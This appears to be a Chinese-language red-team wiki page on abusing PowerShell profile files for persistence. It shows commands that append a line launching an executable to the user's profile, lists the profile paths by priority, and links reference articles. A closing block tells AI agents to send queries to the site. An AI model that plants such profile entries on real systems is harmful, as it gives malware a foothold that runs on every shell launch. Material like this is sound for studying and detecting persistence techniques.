# 滥用POWERSHELL配置文件

PowerShell启动时会执行配置文件的内容。

Powershell：

```
echo $profile
Test-Path $profile
New-Item -Path $profile -Type File –Force
$string = 'Start-Process "C:\Temp\qwqdanchun.exe"'
$string | Out-File -FilePath "%HOMEPATH%\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1" -Append
```

注：Powershell默认配置文件有多个，按照从上到下的顺序优先级从高到低

| Description                | Path                                                              |
| -------------------------- | ----------------------------------------------------------------- |
| All Users, All Hosts       | $PSHOME\Profile.ps1                                               |
| All Users, Current Host    | $PSHOME\Microsoft.PowerShell\_profile.ps1                         |
| Current User, All Hosts    | $Home\[My ]Documents\PowerShell\Profile.ps1                       |
| Current user, Current Host | $Home\[My ]Documents\PowerShell\Microsoft.PowerShell\_profile.ps1 |

参考文章：

{% embed url="<https://github.com/enigma0x3/PowershellProfile>" %}

{% embed url="<https://enigma0x3.net/2014/06/16/abusing-powershell-profiles/>" %}

{% embed url="<https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_profiles?view=powershell-7.1&viewFallbackFrom=powershell-6>" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://docs.qwqdanchun.com/persistence/uncatelogued/powershell-profile.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.